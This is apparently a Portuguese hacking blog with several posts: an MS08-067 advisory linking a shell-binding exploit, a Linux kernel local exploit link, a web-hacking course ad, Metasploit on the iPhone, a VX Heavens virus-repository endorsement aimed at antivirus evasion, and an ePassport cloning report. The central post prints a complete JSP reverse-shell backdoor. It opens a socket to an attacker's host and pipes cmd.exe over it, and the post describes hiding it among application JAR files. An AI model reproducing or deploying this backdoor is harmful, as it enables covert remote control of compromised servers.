MS08-067: Windows RPC remote code execution

Esta atualização de segurança resolve uma vulnerabilidade reportada em particular no serviço do servidor. A vulnerabilidade pode permitir execução remota de código se um usuário receber uma solicitação de RPC especialmente criada em um sistema afetado. Nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário. É possível que esta vulnerabilidade seja usada na criação de uma exploração por worm. As práticas recomendadas de firewall e as configurações de firewall padrão podem ajudar a proteger recursos de rede contra ataques com origem externa ao perímetro da empresa.

Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008. Para obter mais informação, consulte a subseção Software afetado e não afetado nesta seção.

A atualização de segurança elimina a vulnerabilidade, corrigindo a maneira como o serviço Servidor manipula solicitações de RPC. Para obter mais informações sobre a vulnerabilidade, consulte a subseção Perguntas freqüentes relacionada à entrada da vulnerabilidade específica presente na próxima seção, Informações sobre a vulnerabilidade.

Boletim Completo aqui.

O exploit que foi publicado na internet e pode ser baixado no site milw0rm exploita a falha acima citada, e utilizando um shellcode portado do metasploit coloca uma porta tcp 4444 com permissão de SYSTEM que pode ser acessada via telnet.

Exploit aqui.

Good Hacking 4 All.

Linux kernel < 2.6.22 open/ftruncate local exploit

(Description Provided by CVE) : fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable file in a setgid directory through the (1) truncate or (2) ftruncate function in conjunction with memory-mapped I/O.

Exploit aqui: http://www.milw0rm.com/exploits/6851

References:

Curso: Web applications Hacking 15/11

Local: São Paulo – SP

Descrição: Hoje web applications estão tomando um lugar muito importante em grandes corporações, sendo assim é importante estar preparado para responder a incidentes de segurança antes que eles ocorram.

Este curso visa mostrar as principais vulnerabilidades existentes nas mais diferentes linguagens de programação como por exemplo ASP, PHP, JSP e Ajax. Abordaremos as principais técnicas de exploração e mostrar o risco que cada vulnerabilidade pode acarretar.

Entre os tópicos abordados teremos:

Injection Flaws (SQL, XML, Numeric, Blind e String Injections);

Cross-Site Scripting (XSS, XSFR, CSFR, etc..);

Ajax Hacking (JSON, DOM, XML inject, eval(), etc…);

Para maiores informações favor entrar em contato pelo e-mail: anderson@rootsecurity.com.br.

Turmas:

Turmas Status

15/11/2008

ABERTA

Metasploit + iPhone = iPhown

Olá pessoal, bom, como todos sabem o Metasploit hoje é uma das principais ferramentas utilizadas por muitos pentesters para efetuar testes de penetração e ganhar acesso a hosts utilizando a vasta quantidade de payloads, auxiliary tools e exploits.

Bom, outra ferramenta que tomou um lugar definitivo no coração dos afixionados por tecnologia com certeza foi o iPhone. Não tem o que dizer, é como ter um belo Unix de bolso potente e cheio de respositórios para instalar o que você quiser.

Quer um Apache + PHP ? Fácil,

Quer um Framework para desenvoler Python, Ruby, Perl ou C ?? Fácil tambem.

Usando os recursos ilimitados deste aparelho, assim como uma shellzinha bem usável, podemos transformar nosso iPhone em uma plataforma de pentest mobile e pronta para atuar em qualquer lugar que tenha uma redezinha Wireless disponível :)

Bom, antigamente o install.app era o installer oficial do iPhone, vinha com diversos repositorios que poderiam ser inclusive adicionados e contando com muitos frameworks disponiveis para instalação. Mas apareceu então o Cydia Installer. Feito a partir de um port do apt-get ele revolucionou a instalação de pacotes no iPhone e fez com que as possibilidades dobrassem !

Vamos utilizar o Cydia installer para colocar o nosso Metasploit Framework no ar. Por padrão o cydia tem um repositório chamado “Security”. La dentro tem o package do Metasploit prontinho para ser baixado e instalado. Ele tem em torno de 15 Mb pois vai baixar também todas as dependencias do Ruby/Ruby-Gem.

Quem quiser pode também optar por instalar o Ruby e depois baixar o metasploit via Wget. Fica a gosto de cada um.

Realmente funciona muito bem. Abaixo algumas imagens do iPhone rodando o metasploit framework.

Happy Hacking 4 All

JSP Reverse Shell Backdoor

Java Server Pages (JSP) e uma forma muito popular para desenvolver aplicações web. Servidores que aplicação que suportam JSP muito conhecidos são Apache Tomcat, Weblogic e iPlanet. Neste post vamos dar uma olhada em um JSP malicioso que pode ser plantado em um servidor de aplicação Java para dar ao atacante uma shell reversa.

Entre as numerosas Classes do JRE está a java.lang.Runtime. Esta classe suporta um grande número de métodos que podem ser utilizados para executar um programa qualquer disponível no sistema alvo. Alguns destes métodos estão listados abaixo:

Return value

Method name

Process

exec(String command)

Process

exec(String cmd, String[] envp)

Process

exec(String command, String[] envp, File dir)

Observe que estes métodos executam o comando que é enviado através do parâmetro String e retorna um Process Object. Deste Process Object, é possivel obter o InputStream, OutputStream e o ErrorStream do processo executado. O resultado da execução do comando pode ser obtido através da leitura do OutputStream.

O JRE também contem um objeto Socket que pode ser usado para efetuar comunicação socket de outbound. Assim como o Process Object, o Socket Object tem InputStream e OutputStream Objects que pode ser utilizados para ler e escrever dados para o socket. Tendo em mente esta duas classes, é possivel escrever um reverse-shell backdoor cujo os passos seriam os seguintes:

1. Obter o Runtime Object,

2. Executar cmd.exe usando o Runtime Object e pegar o Process Object,

3. Criar uma conexão Socket de volta para o atacante,

4. Conectar o Socket OutStream ao Process InputStream,

5. Connectar o Socket InputStream ao Process OutputStream.

Abaixo segue o código ilustrando o exemplo citado acima:

— BOF—

// backdoor.jsp

< %@

page import=”java.lang.*, java.util.*, java.io.*, java.net.*”

% >

< %!

static class StreamConnector extends Thread

{

InputStream is;

OutputStream os;

StreamConnector(InputStream is, OutputStream os)

{

this.is = is;

this.os = os;

}

public void run()

{

BufferedReader isr = null;

BufferedWriter osw = null;

try

{

isr = new BufferedReader(new InputStreamReader(is));

osw = new BufferedWriter(new OutputStreamWriter(os));

char buffer[] = new char[8192];

int lenRead;

while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)

{

osw.write(buffer, 0, lenRead);

osw.flush();

}

}

catch (Exception ioe)

try

{

if(isr != null) isr.close();

if(osw != null) osw.close();

}

catch (Exception ioe)

}

}

% >

<h1>JSP Backdoor Reverse Shell</h1>

<form method=”post”>

IP Address

<input type=”text” name=”ipaddress” size=30>

Port

<input type=”text” name=”port” size=10>

<input type=”submit” name=”Connect” value=”Connect”>

</form>

<p>

<hr>

< %

String ipAddress = request.getParameter(“ipaddress”);

String ipPort = request.getParameter(“port”);

if(ipAddress != null && ipPort != null)

{

Socket sock = null;

try

{

sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

Runtime rt = Runtime.getRuntime();

Process proc = rt.exec(“cmd.exe”);

StreamConnector outputConnector =

new StreamConnector(proc.getInputStream(),

sock.getOutputStream());

StreamConnector inputConnector =

new StreamConnector(sock.getInputStream(),

proc.getOutputStream());

outputConnector.start();

inputConnector.start();

}

catch(Exception e)

}

% >

–EOF–

A imagem abaixo mostra a tela da Backdoor para que o atacante possa colocar seu host / port para a conexão reversa:

As poderosas classes que pertecem ao JRE Default dão muita flexibilidade para os desenvolvedores de Backdoors. Particularmente, o Runtime class permite a execuçào de programas externos e suporta o carregamento de DLLs ou Unix shared objects.

Se o aplicação server for comprometido, backdoors podem ser plantadas junto com os JAR files da aplicação e será muito dificil de detecta-las.

Good Hacking 4 All.

Link: Source da Backdoor pode ser baixado aqui: Backdoor.Jsp

VX Heavens: Viruses don’t harm, ignorance does!

Durante os ultimos meses passei a me interessar por debuging e ASM afim de entender melhor metodologias de detecção utilizadas por sistemas de Antivirus modernos e desenvolver desta forma metodologias de evadir de sua detecção.

Em algumas das pesquisas descobri o site HX Heavens que é um fantastico repositório de vírus e algoritmos desde worms simples aos mais completos e complexos algoritmos de polimorfismo viral e engines para Shellcode mutate.

Quem deseja estudar esta ramificação de virology recomendo visitar este site e obter muitos exemplos e arquivos interessantes.

Abaixo o Foreword do site:

Welcome to VX Heavens! This site is dedicated to providing information about computer viruses (or virii, as some would prefer) to anyone who is interested in this topic.

This site contains a massive, continuously updated collection of magazines, virus samples, virus sources, polymorphic engines, virus generators, virus writing tutorials, articles, books, news archives etc. We also offer free hosting for virus authors and groups.

Some of you might reasonably say that it is illegal to offer such content on the net. Or that this information can be misused by “malicious people”. I only want to ask that person: “Is ignorance a defence?””.

No site existe também um Antivir checker que permite que você faça upload de arquivos para verificar se a engine de antivirus utilizada pelo HX Heaven detecta.

Link: http://vx.netlux.org/

Good Hacking 4 All.

THC ePassport – Elvis Presley Passport

Acredito que a maioria das pessoas acredita que a nova geração de ePassports ou os Biometric passports são mais seguros, irão ajudar a manter nossa privacidade intacta e ajudar a investigar roubos de identifidade.

Bem… na prática não é bem assim. o THC (hacking group muito famoso por suas tools e researchs) disponibilizou algumas informações técnicas, tools e um vídeo que mostra um passaporte clonado sendo lido por um Passport Reader!!

O governo planeja utilizar o ePassport no Border Control e Imigração. A informação é eletronicamente lida a partir do passaporte e disponibilizada para o Oficial de Border Control ou usada automaticamente por algum sistema automatico. O pessoal do THC descobriu uma vulnerabilidade no sistema para bypass todos os security checks. A detecção de um Passaporte falso não funciona. Nenhum terminal dispara nenhum tipo de alarme quando um chip modificado é utilizado. Isso permitiria que eum atacante criasse um Passaporte com uma foto alterada, Nome, Nacionalidade e muitos outros tipos de credenciais.

Abaixo um Video gravado em um Aeroporto de Amsterdã onde um Passaporte fake é colocado em um terminal de leitura e ao terminar de carregar os dados: Welcome Mr Elvis Presley +_+.

“Nice to see you again Mr Presley”… imagine o que poderia ser feito com esta falha do sistema? Me pergunto se algo será realmente feito ou se isso vai ser jogado para baixo do tapete como sempre?

Good Hacking 4 All.